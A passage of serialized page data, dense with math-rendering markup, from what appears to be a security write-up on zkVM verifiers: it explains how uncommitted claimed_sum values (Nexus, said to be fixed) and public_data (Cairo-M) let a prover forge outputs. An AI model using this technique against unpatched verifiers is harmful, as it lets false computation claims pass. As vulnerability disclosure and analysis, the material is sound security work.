],{"type":25,"tag":271,"props":9489,"children":9491},{"className":9490},[987,1100],[9492,9521],{"type":25,"tag":271,"props":9493,"children":9495},{"className":9494},[992],[9496,9516],{"type":25,"tag":271,"props":9497,"children":9499},{"className":9498,"style":6004},[997],[9500],{"type":25,"tag":271,"props":9501,"children":9502},{"style":1113},[9503,9507],{"type":25,"tag":271,"props":9504,"children":9506},{"className":9505,"style":1008},[1007],[],{"type":25,"tag":271,"props":9508,"children":9510},{"className":9509},[1013,1014,1015,1016],[9511],{"type":25,"tag":271,"props":9512,"children":9514},{"className":9513,"style":6812},[296,297,1016],[9515],{"type":30,"value":6815},{"type":25,"tag":271,"props":9517,"children":9519},{"className":9518},[1177],[9520],{"type":30,"value":1180},{"type":25,"tag":271,"props":9522,"children":9524},{"className":9523},[992],[9525],{"type":25,"tag":271,"props":9526,"children":9528},{"className":9527,"style":6828},[997],[9529],{"type":25,"tag":271,"props":9530,"children":9531},{},[],{"type":25,"tag":271,"props":9533,"children":9535},{"className":9534,"style":411},[337],[],{"type":25,"tag":271,"props":9537,"children":9539},{"className":9538},[296],[9540,9544,9694],{"type":25,"tag":271,"props":9541,"children":9543},{"className":9542},[391,5850],[],{"type":25,"tag":271,"props":9545,"children":9547},{"className":9546},[5855],[9548],{"type":25,"tag":271,"props":9549,"children":9551},{"className":9550},[987,1100],[9552,9683],{"type":25,"tag":271,"props":9553,"children":9555},{"className":9554},[992],[9556,9678],{"type":25,"tag":271,"props":9557,"children":9559},{"className":9558,"style":5868},[997],[9560,9647,9658],{"type":25,"tag":271,"props":9561,"children":9562},{"style":5872},[9563,9567],{"type":25,"tag":271,"props":9564,"children":9566},{"className":9565,"style":4495},[1007],[],{"type":25,"tag":271,"props":9568,"children":9570},{"className":9569},[1013,1014,1015,1016],[9571],{"type":25,"tag":271,"props":9572,"children":9574},{"className":9573},[296,1016],[9575,9580,9585],{"type":25,"tag":271,"props":9576,"children":9578},{"className":9577,"style":5889},[296,297,1016],[9579],{"type":30,"value":5892},{"type":25,"tag":271,"props":9581,"children":9583},{"className":9582},[2071,1016],[9584],{"type":30,"value":2774},{"type":25,"tag":271,"props":9586,"children":9588},{"className":9587},[296,1016],[9589,9599],{"type":25,"tag":271,"props":9590,"children":9592},{"className":9591},[296,30,1016],[9593],{"type":25,"tag":271,"props":9594,"children":9596},{"className":9595},[296,1016],[9597],{"type":30,"value":9598},"consumed",{"type":25,"tag":271,"props":9600,"children":9602},{"className":9601},[982],[9603],{"type":25,"tag":271,"props":9604,"children":9606},{"className":9605},[987,1100],[9607,9636],{"type":25,"tag":271,"props":9608,"children":9610},{"className":9609},[992],[9611,9631],{"type":25,"tag":271,"props":9612,"children":9614},{"className":9613,"style":4659},[997],[9615],{"type":25,"tag":271,"props":9616,"children":9617},{"style":6918},[9618,9622],{"type":25,"tag":271,"props":9619,"children":9621},{"className":9620,"style":1161},[1007],[],{"type":25,"tag":271,"props":9623,"children":9625},{"className":9624},[1013,1166,1167,1016],[9626],{"type":25,"tag":271,"props":9627,"children":9629},{"className":9628,"style":6812},[296,297,1016],[9630],{"type":30,"value":6815},{"type":25,"tag":271,"props":9632,"children":9634},{"className":9633},[1177],[9635],{"type":30,"value":1180},{"type":25,"tag":271,"props":9637,"children":9639},{"className":9638},[992],[9640],{"type":25,"tag":271,"props":9641,"children":9643},{"className":9642,"style":6945},[997],[9644],{"type":25,"tag":271,"props":9645,"children":9646},{},[],{"type":25,"tag":271,"props":9648,"children":9649},{"style":5905},[9650,9654],{"type":25,"tag":271,"props":9651,"children":9653},{"className":9652,"style":4495},[1007],[],{"type":25,"tag":271,"props":9655,"children":9657},{"className":9656,"style":5915},[5914],[],{"type":25,"tag":271,"props":9659,"children":9660},{"style":5919},[9661,9665],{"type":25,"tag":271,"props":9662,"children":9664},{"className":9663,"style":4495},[1007],[],{"type":25,"tag":271,"props":9666,"children":9668},{"className":9667},[1013,1014,1015,1016],[9669],{"type":25,"tag":271,"props":9670,"children":9672},{"className":9671},[296,1016],[9673],{"type":25,"tag":271,"props":9674,"children":9676},{"className":9675},[296,1016],[9677],{"type":30,"value":968},{"type":25,"tag":271,"props":9679,"children":9681},{"className":9680},[1177],[9682],{"type":30,"value":1180},{"type":25,"tag":271,"props":9684,"children":9686},{"className":9685},[992],[9687],{"type":25,"tag":271,"props":9688,"children":9690},{"className":9689,"style":6993},[997],[9691],{"type":25,"tag":271,"props":9692,"children":9693},{},[],{"type":25,"tag":271,"props":9695,"children":9697},{"className":9696},[437,5850],[],{"type":25,"tag":26,"props":9699,"children":9700},{},[9701,9703,9708],{"type":30,"value":9702},"All ",{"type":25,"tag":264,"props":9704,"children":9706},{"className":9705},[],[9707],{"type":30,"value":7206},{"type":30,"value":9709}," values must sum to zero (everything produced is consumed).",{"type":25,"tag":26,"props":9711,"children":9712},{},[9713,9715,9720],{"type":30,"value":9714},"All constraints are combined into a composition polynomial. The verifier then checks this polynomial at a random point outside the execution domain, known as an ",{"type":25,"tag":38,"props":9716,"children":9717},{},[9718],{"type":30,"value":9719},"OODS (Out-of-Domain Sampling)",{"type":30,"value":9721}," test.",{"type":25,"tag":26,"props":9723,"children":9724},{},[9725],{"type":25,"tag":38,"props":9726,"children":9727},{},[9728],{"type":30,"value":7762},{"type":25,"tag":7764,"props":9730,"children":9732},{"code":9731},"NexusProof {\n    stark_proof: {\n        commitments: [Merkle roots of trace columns]\n        sampled_values: [polynomial evaluations]\n        fri_proof: [low-degree test proof]\n    }\n    claimed_sum: [FieldElement; NUM_COMPONENTS]  // \u003C- VULNERABLE\n    log_size: [component sizes]\n}\n",[9733],{"type":25,"tag":264,"props":9734,"children":9735},{"__ignoreMap":7},[9736],{"type":30,"value":9731},{"type":25,"tag":26,"props":9738,"children":9739},{},[9740,9742,9747],{"type":30,"value":9741},"The",{"type":25,"tag":264,"props":9743,"children":9745},{"className":9744},[],[9746],{"type":30,"value":7206},{"type":30,"value":9748}," values are checked to be of correct length, that they sum to zero, and are used in the final composition polynomial. But at no point were they absorbed into the transcript.",{"type":25,"tag":26,"props":9750,"children":9751},{},[9752],{"type":25,"tag":698,"props":9753,"children":9756},{"alt":9754,"src":9755},"6_nexus_flow","/posts/zkvms-unfaithful-claims/6_nexus_flow.svg",[],{"type":25,"tag":26,"props":9758,"children":9759},{},[9760,9762,9771],{"type":30,"value":9761},"The OODS check computes the composition polynomial, which includes logup boundary constraints. These constraints are ",{"type":25,"tag":38,"props":9763,"children":9764},{},[9765,9766],{"type":30,"value":4195},{"type":25,"tag":264,"props":9767,"children":9769},{"className":9768},[],[9770],{"type":30,"value":7206},{"type":30,"value":359},{"type":25,"tag":26,"props":9773,"children":9774},{},[9775],{"type":30,"value":9776},"The composition polynomial is a random linear combination of constraints:",{"type":25,"tag":26,"props":9778,"children":9779},{},[9780],{"type":25,"tag":264,"props":9781,"children":9783},{"className":9782},[267,268],[9784],{"type":25,"tag":271,"props":9785,"children":9787},{"className":9786},[274],[9788],{"type":25,"tag":271,"props":9789,"children":9791},{"className":9790,"ariaHidden":280},[279],[9792,9833,9972],{"type":25,"tag":271,"props":9793,"children":9795},{"className":9794},[285],[9796,9800,9805,9810,9815,9820,9824,9829],{"type":25,"tag":271,"props":9797,"children":9799},{"className":9798,"style":375},[290],[],{"type":25,"tag":271,"props":9801,"children":9803},{"className":9802,"style":8574},[296,297],[9804],{"type":30,"value":8577},{"type":25,"tag":271,"props":9806,"children":9808},{"className":9807},[391],[9809],{"type":30,"value":394},{"type":25,"tag":271,"props":9811,"children":9813},{"className":9812},[296,297],[9814],{"type":30,"value":1136},{"type":25,"tag":271,"props":9816,"children":9818},{"className":9817},[437],[9819],{"type":30,"value":440},{"type":25,"tag":271,"props":9821,"children":9823},{"className":9822,"style":338},[337],[],{"type":25,"tag":271,"props":9825,"children":9827},{"className":9826},[356],[9828],{"type":30,"value":1065},{"type":25,"tag":271,"props":9830,"children":9832},{"className":9831,"style":338},[337],[],{"type":25,"tag":271,"props":9834,"children":9836},{"className":9835},[285],[9837,9841,9898,9902,9959,9963,9968],{"type":25,"tag":271,"props":9838,"children":9840},{"className":9839,"style":7980},[290],[],{"type":25,"tag":271,"props":9842,"children":9844},{"className":9843},[1082],[9845,9850],{"type":25,"tag":271,"props":9846,"children":9848},{"className":9847,"style":1089},[1082,1087,1088],[9849],{"type":30,"value":1092},{"type":25,"tag":271,"props":9851,"children":9853},{"className":9852},[982],[9854],{"type":25,"tag":271,"props":9855,"children":9857},{"className":9856},[987,1100],[9858,9887],{"type":25,"tag":271,"props":9859,"children":9861},{"className":9860},[992],[9862,9882],{"type":25,"tag":271,"props":9863,"children":9865},{"className":9864,"style":6544},[997],[9866],{"type":25,"tag":271,"props":9867,"children":9868},{"style":1113},[9869,9873],{"type":25,"tag":271,"props":9870,"children":9872},{"className":9871,"style":1008},[1007],[],{"type":25,"tag":271,"props":9874,"children":9876},{"className":9875},[1013,1014,1015,1016],[9877],{"type":25,"tag":271,"props":9878,"children":9880},{"className":9879},[296,297,1016],[9881],{"type":30,"value":1937},{"type":25,"tag":271,"props":9883,"children":9885},{"className":9884},[1177],[9886],{"type":30,"value":1180},{"type":25,"tag":271,"props":9888,"children":9890},{"className":9889},[992],[9891],{"type":25,"tag":271,"props":9892,"children":9894},{"className":9893,"style":6828},[997],[9895],{"type":25,"tag":271,"props":9896,"children":9897},{},[],{"type":25,"tag":271,"props":9899,"children":9901},{"className":9900,"style":411},[337],[],{"type":25,"tag":271,"props":9903,"children":9905},{"className":9904},[296],[9906,9911],{"type":25,"tag":271,"props":9907,"children":9909},{"className":9908,"style":7431},[296,297],[9910],{"type":30,"value":7434},{"type":25,"tag":271,"props":9912,"children":9914},{"className":9913},[982],[9915],{"type":25,"tag":271,"props":9916,"children":9918},{"className":9917},[987,1100],[9919,9948],{"type":25,"tag":271,"props":9920,"children":9922},{"className":9921},[992],[9923,9943],{"type":25,"tag":271,"props":9924,"children":9926},{"className":9925,"style":1918},[997],[9927],{"type":25,"tag":271,"props":9928,"children":9929},{"style":8070},[9930,9934],{"type":25,"tag":271,"props":9931,"children":9933},{"className":9932,"style":1008},[1007],[],{"type":25,"tag":271,"props":9935,"children":9937},{"className":9936},[1013,1014,1015,1016],[9938],{"type":25,"tag":271,"props":9939,"children":9941},{"className":9940},[296,297,1016],[9942],{"type":30,"value":1937},{"type":25,"tag":271,"props":9944,"children":9946},{"className":9945},[1177],[9947],{"type":30,"value":1180},{"type":25,"tag":271,"props":9949,"children":9951},{"className":9950},[992],[9952],{"type":25,"tag":271,"props":9953,"children":9955},{"className":9954,"style":1619},[997],[9956],{"type":25,"tag":271,"props":9957,"children":9958},{},[],{"type":25,"tag":271,"props":9960,"children":9962},{"className":9961,"style":2066},[337],[],{"type":25,"tag":271,"props":9964,"children":9966},{"className":9965},[2071],[9967],{"type":30,"value":3585},{"type":25,"tag":271,"props":9969,"children":9971},{"className":9970,"style":2066},[337],[],{"type":25,"tag":271,"props":9973,"children":9975},{"className":9974},[285],[9976,9980,10042,10047,10052],{"type":25,"tag":271,"props":9977,"children":9979},{"className":9978,"style":375},[290],[],{"type":25,"tag":271,"props":9981,"children":9983},{"className":9982},[296],[9984,9994],{"type":25,"tag":271,"props":9985,"children":9987},{"className":9986},[296,30],[9988],{"type":25,"tag":271,"props":9989,"children":9991},{"className":9990},[296],[9992],{"type":30,"value":9993},"constraint",{"type":25,"tag":271,"props":9995,"children":9997},{"className":9996},[982],[9998],{"type":25,"tag":271,"props":9999,"children":10001},{"className":10000},[987,1100],[10002,10031],{"type":25,"tag":271,"props":10003,"children":10005},{"className":10004},[992],[10006,10026],{"type":25,"tag":271,"props":10007,"children":10009},{"className":10008,"style":1918},[997],[10010],{"type":25,"tag":271,"props":10011,"children":10012},{"style":6467},[10013,10017],{"type":25,"tag":271,"props":10014,"children":10016},{"className":10015,"style":1008},[1007],[],{"type":25,"tag":271,"props":10018,"children":10020},{"className":10019},[1013,1014,1015,1016],[10021],{"type":25,"tag":271,"props":10022,"children":10024},{"className":10023},[296,297,1016],[10025],{"type":30,"value":1937},{"type":25,"tag":271,"props":10027,"children":10029},{"className":10028},[1177],[10030],{"type":30,"value":1180},{"type":25,"tag":271,"props":10032,"children":10034},{"className":10033},[992],[10035],{"type":25,"tag":271,"props":10036,"children":10038},{"className":10037,"style":1619},[997],[10039],{"type":25,"tag":271,"props":10040,"children":10041},{},[],{"type":25,"tag":271,"props":10043,"children":10045},{"className":10044},[391],[10046],{"type":30,"value":394},{"type":25,"tag":271,"props":10048,"children":10050},{"className":10049},[296,297],[10051],{"type":30,"value":1136},{"type":25,"tag":271,"props":10053,"children":10055},{"className":10054},[437],[10056],{"type":30,"value":440},{"type":25,"tag":26,"props":10058,"children":10059},{},[10060,10062,10067,10069,10074],{"type":30,"value":10061},"Since each constraint is linear in its ",{"type":25,"tag":264,"props":10063,"children":10065},{"className":10064},[],[10066],{"type":30,"value":7206},{"type":30,"value":10068},", the overall composition polynomial is linear in all ",{"type":25,"tag":264,"props":10070,"children":10072},{"className":10071},[],[10073],{"type":30,"value":7206},{"type":30,"value":10075}," values.",{"type":25,"tag":26,"props":10077,"children":10078},{},[10079,10081],{"type":30,"value":10080},"The verifier checks ",{"type":25,"tag":264,"props":10082,"children":10084},{"className":10083},[267,268],[10085],{"type":25,"tag":271,"props":10086,"children":10088},{"className":10087},[274],[10089],{"type":25,"tag":271,"props":10090,"children":10092},{"className":10091,"ariaHidden":280},[279],[10093,10154],{"type":25,"tag":271,"props":10094,"children":10096},{"className":10095},[285],[10097,10101,10106,10111,10121,10126,10136,10141,10145,10150],{"type":25,"tag":271,"props":10098,"children":10100},{"className":10099,"style":7026},[290],[],{"type":25,"tag":271,"props":10102,"children":10104},{"className":10103,"style":8574},[296,297],[10105],{"type":30,"value":8577},{"type":25,"tag":271,"props":10107,"children":10109},{"className":10108},[391],[10110],{"type":30,"value":394},{"type":25,"tag":271,"props":10112,"children":10114},{"className":10113},[296,30],[10115],{"type":25,"tag":271,"props":10116,"children":10118},{"className":10117},[296],[10119],{"type":30,"value":10120},"oods",{"type":25,"tag":271,"props":10122,"children":10124},{"className":10123,"style":2296},[296],[10125],{"type":30,"value":6434},{"type":25,"tag":271,"props":10127,"children":10129},{"className":10128},[296,30],[10130],{"type":25,"tag":271,"props":10131,"children":10133},{"className":10132},[296],[10134],{"type":30,"value":10135},"point",{"type":25,"tag":271,"props":10137,"children":10139},{"className":10138},[437],[10140],{"type":30,"value":440},{"type":25,"tag":271,"props":10142,"children":10144},{"className":10143,"style":338},[337],[],{"type":25,"tag":271,"props":10146,"children":10148},{"className":10147},[356],[10149],{"type":30,"value":1065},{"type":25,"tag":271,"props":10151,"children":10153},{"className":10152,"style":338},[337],[],{"type":25,"tag":271,"props":10155,"children":10157},{"className":10156},[285],[10158,10162],{"type":25,"tag":271,"props":10159,"children":10161},{"className":10160,"style":7398},[290],[],{"type":25,"tag":271,"props":10163,"children":10165},{"className":10164},[296,30],[10166],{"type":25,"tag":271,"props":10167,"children":10169},{"className":10168},[296],[10170],{"type":30,"value":8902},{"type":25,"tag":26,"props":10172,"children":10173},{},[10174,10176,10181,10183,10188],{"type":30,"value":10175},"With ",{"type":25,"tag":264,"props":10177,"children":10179},{"className":10178},[],[10180],{"type":30,"value":7206},{"type":30,"value":10182}," not in transcript, the composition polynomial becomes a linear function of the ",{"type":25,"tag":264,"props":10184,"children":10186},{"className":10185},[],[10187],{"type":30,"value":7206},{"type":30,"value":10189}," values. Combined with the constraint that claimed sums must sum to zero, this is a small linear system that is easily solvable.",{"type":25,"tag":26,"props":10191,"children":10192},{},[10193,10197,10199],{"type":25,"tag":38,"props":10194,"children":10195},{},[10196],{"type":30,"value":9059},{"type":30,"value":10198}," Fixed on October 24, 2025 via ",{"type":25,"tag":83,"props":10200,"children":10203},{"href":10201,"rel":10202},"https://github.com/nexus-xyz/nexus-zkvm/pull/503",[9066],[10204],{"type":30,"value":10205},"PR #503",{"type":25,"tag":92,"props":10207,"children":10208},{},[],{"type":25,"tag":247,"props":10210,"children":10212},{"id":10211},"cairo-m-kakarot-labs",[10213],{"type":30,"value":10214},"Cairo-M (Kakarot Labs)",{"type":25,"tag":26,"props":10216,"children":10217},{},[10218],{"type":30,"value":10219},"Cairo-M, built by Kakarot Labs, is an alternative proof system for the Cairo VM (used by Starknet).",{"type":25,"tag":26,"props":10221,"children":10222},{},[10223],{"type":30,"value":10224},"Cairo-M is in many ways similar to Nexus. It uses logup to prove global statements about the execution.",{"type":25,"tag":26,"props":10226,"children":10227},{},[10228],{"type":25,"tag":38,"props":10229,"children":10230},{},[10231],{"type":30,"value":7762},{"type":25,"tag":7764,"props":10233,"children":10235},{"code":10234},"Proof {\n    claim: ComponentSizes,\n    interaction_claim: LogupClaimsPerComponent,\n    public_data: {          // \u003C- VULNERABLE\n        initial_registers: { pc, fp },\n        final_registers: { pc, fp }, // \u003C- forged\n        clock,                       // \u003C- forged\n        initial_root,                \n        final_root,                  // \u003C- forged\n        public_memory: { program, input, output }, //output modified\n    },\n    stark_proof: [...],\n}\n",[10236],{"type":25,"tag":264,"props":10237,"children":10238},{"__ignoreMap":7},[10239],{"type":30,"value":10234},{"type":25,"tag":26,"props":10241,"children":10242},{},[10243],{"type":25,"tag":38,"props":10244,"children":10245},{},[10246],{"type":30,"value":7779},{"type":25,"tag":26,"props":10248,"children":10249},{},[10250],{"type":25,"tag":698,"props":10251,"children":10254},{"alt":10252,"src":10253},"7_cairo_m_verification","/posts/zkvms-unfaithful-claims/7_cairo_m_verification.svg",[],{"type":25,"tag":26,"props":10256,"children":10257},{},[10258,10260,10266],{"type":30,"value":10259},"Lookup challenges are derived without ",{"type":25,"tag":264,"props":10261,"children":10263},{"className":10262},[],[10264],{"type":30,"value":10265},"public_data",{"type":30,"value":10267}," being  mixed into the transcript.",{"type":25,"tag":26,"props":10269,"children":10270},{},[10271,10273,10278,10280,10286],{"type":30,"value":10272},"The ",{"type":25,"tag":264,"props":10274,"children":10276},{"className":10275},[],[10277],{"type":30,"value":10265},{"type":30,"value":10279}," (program I/O, boundary registers, memory roots) enters the lookup relations inside ",{"type":25,"tag":10281,"props":10282,"children":10283},"em",{},[10284],{"type":30,"value":10285},"denominators",{"type":30,"value":10287}," through challenge-weighted encodings of tuples. Abstractly, the verifier checks a relation of the form:",{"type":25,"tag":26,"props":10289,"children":10290},{},[10291],{"type":25,"tag":264,"props":10292,"children":10294},{"className":10293},[267,268],[10295],{"type":25,"tag":271,"props":10296,"children":10298},{"className":10297},[274],[10299],{"type":25,"tag":271,"props":10300,"children":10302},{"className":10301,"ariaHidden":280},[279],[10303,10365,10411,10457],{"type":25,"tag":271,"props":10304,"children":10306},{"className":10305},[285],[10307,10311,10317,10322,10332,10337,10347,10352,10356,10361],{"type":25,"tag":271,"props":10308,"children":10310},{"className":10309,"style":7026},[290],[],{"type":25,"tag":271,"props":10312,"children":10314},{"className":10313},[296,297],[10315],{"type":30,"value":10316},"L",{"type":25,"tag":271,"props":10318,"children":10320},{"className":10319},[391],[10321],{"type":30,"value":394},{"type":25,"tag":271,"props":10323,"children":10325},{"className":10324},[296,30],[10326],{"type":25,"tag":271,"props":10327,"children":10329},{"className":10328},[296],[10330],{"type":30,"value":10331},"public",{"type":25,"tag":271,"props":10333,"children":10335},{"className":10334,"style":2296},[296],[10336],{"type":30,"value":6434},{"type":25,"tag":271,"props":10338,"children":10340},{"className":10339},[296,30],[10341],{"type":25,"tag":271,"props":10342,"children":10344},{"className":10343},[296],[10345],{"type":30,"value":10346},"data",{"type":25,"tag":271,"props":10348,"children":10350},{"className":10349},[437],[10351],{"type":30,"value":440},{"type":25,"tag":271,"props":10353,"children":10355},{"className":10354,"style":2066},[337],[],{"type":25,"tag":271,"props":10357,"children":10359},{"className":10358},[2071],[10360],{"type":30,"value":2074},{"type":25,"tag":271,"props":10362,"children":10364},{"className":10363,"style":2066},[337],[],{"type":25,"tag":271,"props":10366,"children":10368},{"className":10367},[285],[10369,10373,10383,10388,10398,10402,10407],{"type":25,"tag":271,"props":10370,"children":10372},{"className":10371,"style":7026},[290],[],{"type":25,"tag":271,"props":10374,"children":10376},{"className":10375},[296,30],[10377],{"type":25,"tag":271,"props":10378,"children":10380},{"className":10379},[296],[10381],{"type":30,"value":10382},"(other transcript",{"type":25,"tag":271,"props":10384,"children":10386},{"className":10385,"style":2296},[296],[10387],{"type":30,"value":6434},{"type":25,"tag":271,"props":10389,"children":10391},{"className":10390},[296,30],[10392],{"type":25,"tag":271,"props":10393,"children":10395},{"className":10394},[296],[10396],{"type":30,"value":10397},"bound terms)",{"type":25,"tag":271,"props":10399,"children":10401},{"className":10400,"style":338},[337],[],{"type":25,"tag":271,"props":10403,"children":10405},{"className":10404},[356],[10406],{"type":30,"value":1065},{"type":25,"tag":271,"props":10408,"children":10410},{"className":10409,"style":338},[337],[],{"type":25,"tag":271,"props":10412,"children":10414},{"className":10413},[285],[10415,10420,10425,10430,10435,10439,10444,10448,10453],{"type":25,"tag":271,"props":10416,"children":10419},{"className":10417,"style":10418},[290],"height:0.8778em;vertical-align:-0.1944em;",[],{"type":25,"tag":271,"props":10421,"children":10423},{"className":10422},[296],[10424],{"type":30,"value":953},{"type":25,"tag":271,"props":10426,"children":10428},{"className":10427},[404],[10429],{"type":30,"value":407},{"type":25,"tag":271,"props":10431,"children":10434},{"className":10432,"style":10433},[337],"margin-right:2em;",[],{"type":25,"tag":271,"props":10436,"children":10438},{"className":10437,"style":411},[337],[],{"type":25,"tag":271,"props":10440,"children":10442},{"className":10441},[296,297],[10443],{"type":30,"value":10316},{"type":25,"tag":271,"props":10445,"children":10447},{"className":10446,"style":338},[337],[],{"type":25,"tag":271,"props":10449,"children":10451},{"className":10450},[356],[10452],{"type":30,"value":1065},{"type":25,"tag":271,"props":10454,"children":10456},{"className":10455,"style":338},[337],[],{"type":25,"tag":271,"props":10458,"children":10460},{"className":10459},[285],[10461,10466,10523,10527,10745],{"type":25,"tag":271,"props":10462,"children":10465},{"className":10463,"style":10464},[290],"height:1.4071em;vertical-align:-0.562em;",[],{"type":25,"tag":271,"props":10467,"children":10469},{"className":10468},[1082],[10470,10475],{"type":25,"tag":271,"props":10471,"children":10473},{"className":10472,"style":1089},[1082,1087,1088],[10474],{"type":30,"value":1092},{"type":25,"tag":271,"props":10476,"children":10478},{"className":10477},[982],[10479],{"type":25,"tag":271,"props":10480,"children":10482},{"className":10481},[987,1100],[10483,10512],{"type":25,"tag":271,"props":10484,"children":10486},{"className":10485},[992],[10487,10507],{"type":25,"tag":271,"props":10488,"children":10490},{"className":10489,"style":6544},[997],[10491],{"type":25,"tag":271,"props":10492,"children":10493},{"style":1113},[10494,10498],{"type":25,"tag":271,"props":10495,"children":10497},{"className":10496,"style":1008},[1007],[],{"type":25,"tag":271,"props":10499,"children":10501},{"className":10500},[1013,1014,1015,1016],[10502],{"type":25,"tag":271,"props":10503,"children":10505},{"className":10504},[296,297,1016],[10506],{"type":30,"value":1937},{"type":25,"tag":271,"props":10508,"children":10510},{"className":10509},[1177],[10511],{"type":30,"value":1180},{"type":25,"tag":271,"props":10513,"children":10515},{"className":10514},[992],[10516],{"type":25,"tag":271,"props":10517,"children":10519},{"className":10518,"style":6828},[997],[10520],{"type":25,"tag":271,"props":10521,"children":10522},{},[],{"type":25,"tag":271,"props":10524,"children":10526},{"className":10525,"style":411},[337],[],{"type":25,"tag":271,"props":10528,"children":10530},{"className":10529},[296],[10531,10535,10741],{"type":25,"tag":271,"props":10532,"children":10534},{"className":10533},[391,5850],[],{"type":25,"tag":271,"props":10536,"children":10538},{"className":10537},[5855],[10539],{"type":25,"tag":271,"props":10540,"children":10542},{"className":10541},[987,1100],[10543,10729],{"type":25,"tag":271,"props":10544,"children":10546},{"className":10545},[992],[10547,10724],{"type":25,"tag":271,"props":10548,"children":10550},{"className":10549,"style":5868},[997],[10551,10693,10704],{"type":25,"tag":271,"props":10552,"children":10553},{"style":5872},[10554,10558],{"type":25,"tag":271,"props":10555,"children":10557},{"className":10556,"style":4495},[1007],[],{"type":25,"tag":271,"props":10559,"children":10561},{"className":10560},[1013,1014,1015,1016],[10562],{"type":25,"tag":271,"props":10563,"children":10565},{"className":10564},[296,1016],[10566,10571,10576,10582,10587,10592,10649,10654,10663,10668,10677,10683,10688],{"type":25,"tag":271,"props":10567,"children":10569},{"className":10568,"style":5889},[296,297,1016],[10570],{"type":30,"value":5892},{"type":25,"tag":271,"props":10572,"children":10574},{"className":10573},[2071,1016],[10575],{"type":30,"value":2074},{"type":25,"tag":271,"props":10577,"children":10579},{"className":10578},[391,1016],[10580],{"type":30,"value":10581},"⟨",{"type":25,"tag":271,"props":10583,"children":10585},{"className":10584,"style":7431},[296,297,1016],[10586],{"type":30,"value":7434},{"type":25,"tag":271,"props":10588,"children":10590},{"className":10589},[404,1016],[10591],{"type":30,"value":407},{"type":25,"tag":271,"props":10593,"children":10595},{"className":10594},[296,1016],[10596,10601],{"type":25,"tag":271,"props":10597,"children":10599},{"className":10598},[296,297,1016],[10600],{"type":30,"value":6292},{"type":25,"tag":271,"props":10602,"children":10604},{"className":10603},[982],[10605],{"type":25,"tag":271,"props":10606,"children":10608},{"className":10607},[987,1100],[10609,10638],{"type":25,"tag":271,"props":10610,"children":10612},{"className":10611},[992],[10613,10633],{"type":25,"tag":271,"props":10614,"children":10616},{"className":10615,"style":6663},[997],[10617],{"type":25,"tag":271,"props":10618,"children":10619},{"style":1156},[10620,10624],{"type":25,"tag":271,"props":10621,"children":10623},{"className":10622,"style":1161},[1007],[],{"type":25,"tag":271,"props":10625,"children":10627},{"className":10626},[1013,1166,1167,1016],[10628],{"type":25,"tag":271,"props":10629,"children":10631},{"className":10630},[296,297,1016],[10632],{"type":30,"value":1937},{"type":25,"tag":271,"props":10634,"children":10636},{"className":10635},[1177],[10637],{"type":30,"value":1180},{"type":25,"tag":271,"props":10639,"children":10641},{"className":10640},[992],[10642],{"type":25,"tag":271,"props":10643,"children":10645},{"className":10644,"style":1188},[997],[10646],{"type":25,"tag":271,"props":10647,"children":10648},{},[],{"type":25,"tag":271,"props":10650,"children":10652},{"className":10651},[391,1016],[10653],{"type":30,"value":394},{"type":25,"tag":271,"props":10655,"children":10657},{"className":10656},[296,30,1016],[10658],{"type":25,"tag":271,"props":10659,"children":10661},{"className":10660},[296,1016],[10662],{"type":30,"value":10331},{"type":25,"tag":271,"props":10664,"children":10666},{"className":10665,"style":2296},[296,1016],[10667],{"type":30,"value":6434},{"type":25,"tag":271,"props":10669,"children":10671},{"className":10670},[296,30,1016],[10672],{"type":25,"tag":271,"props":10673,"children":10675},{"className":10674},[296,1016],[10676],{"type":30,"value":10346},{"type":25,"tag":271,"props":10678,"children":10680},{"className":10679},[437,1016],[10681],{"type":30,"value":10682},")⟩",{"type":25,"tag":271,"props":10684,"children":10686},{"className":10685},[2071,1016],[10687],{"type":30,"value":2074},{"type":25,"tag":271,"props":10689,"children":10691},{"className":10690,"style":7486},[296,297,1016],[10692],{"type":30,"value":7489},{"type":25,"tag":271,"props":10694,"children":10695},{"style":5905},[10696,10700],{"type":25,"tag":271,"props":10697,"children":10699},{"className":10698,"style":4495},[1007],[],{"type":25,"tag":271,"props":10701,"children":10703},{"className":10702,"style":5915},[5914],[],{"type":25,"tag":271,"props":10705,"children":10706},{"style":5919},[10707,10711],{"type":25,"tag":271,"props":10708,"children":10710},{"className":10709,"style":4495},[1007],[],{"type":25,"tag":271,"props":10712,"children":10714},{"className":10713},[1013,1014,1015,1016],[10715],{"type":25,"tag":271,"props":10716,"children":10718},{"className":10717},[296,1016],[10719],{"type":25,"tag":271,"props":10720,"children":10722},{"className":10721},[296,1016],[10723],{"type":30,"value":968},{"type":25,"tag":271,"props":10725,"children":10727},{"className":10726},[1177],[10728],{"type":30,"value":1180},{"type":25,"tag":271,"props":10730,"children":10732},{"className":10731},[992],[10733],{"type":25,"tag":271,"props":10734,"children":10737},{"className":10735,"style":10736},[997],"height:0.562em;",[10738],{"type":25,"tag":271,"props":10739,"children":10740},{},[],{"type":25,"tag":271,"props":10742,"children":10744},{"className":10743},[437,5850],[],{"type":25,"tag":271,"props":10746,"children":10748},{"className":10747},[296],[10749],{"type":30,"value":1860},{"type":25,"tag":26,"props":10751,"children":10752},{},[10753,10755],{"type":30,"value":10754},"The global check is then that ",{"type":25,"tag":264,"props":10756,"children":10758},{"className":10757},[267,268],[10759],{"type":25,"tag":271,"props":10760,"children":10762},{"className":10761},[274],[10763],{"type":25,"tag":271,"props":10764,"children":10766},{"className":10765,"ariaHidden":280},[279],[10767,10808,10839],{"type":25,"tag":271,"props":10768,"children":10770},{"className":10769},[285],[10771,10775,10780,10785,10790,10795,10799,10804],{"type":25,"tag":271,"props":10772,"children":10774},{"className":10773,"style":375},[290],[],{"type":25,"tag":271,"props":10776,"children":10778},{"className":10777},[296,297],[10779],{"type":30,"value":10316},{"type":25,"tag":271,"props":10781,"children":10783},{"className":10782},[391],[10784],{"type":30,"value":394},{"type":25,"tag":271,"props":10786,"children":10788},{"className":10787},[296,297],[10789],{"type":30,"value":26},{"type":25,"tag":271,"props":10791,"children":10793},{"className":10792},[437],[10794],{"type":30,"value":440},{"type":25,"tag":271,"props":10796,"children":10798},{"className":10797,"style":2066},[337],[],{"type":25,"tag":271,"props":10800,"children":10802},{"className":10801},[2071],[10803],{"type":30,"value":2074},{"type":25,"tag":271,"props":10805,"children":10807},{"className":10806,"style":2066},[337],[],{"type":25,"tag":271,"props":10809,"children":10811},{"className":10810},[285],[10812,10816,10826,10830,10835],{"type":25,"tag":271,"props":10813,"children":10815},{"className":10814,"style":375},[290],[],{"type":25,"tag":271,"props":10817,"children":10819},{"className":10818},[296,30],[10820],{"type":2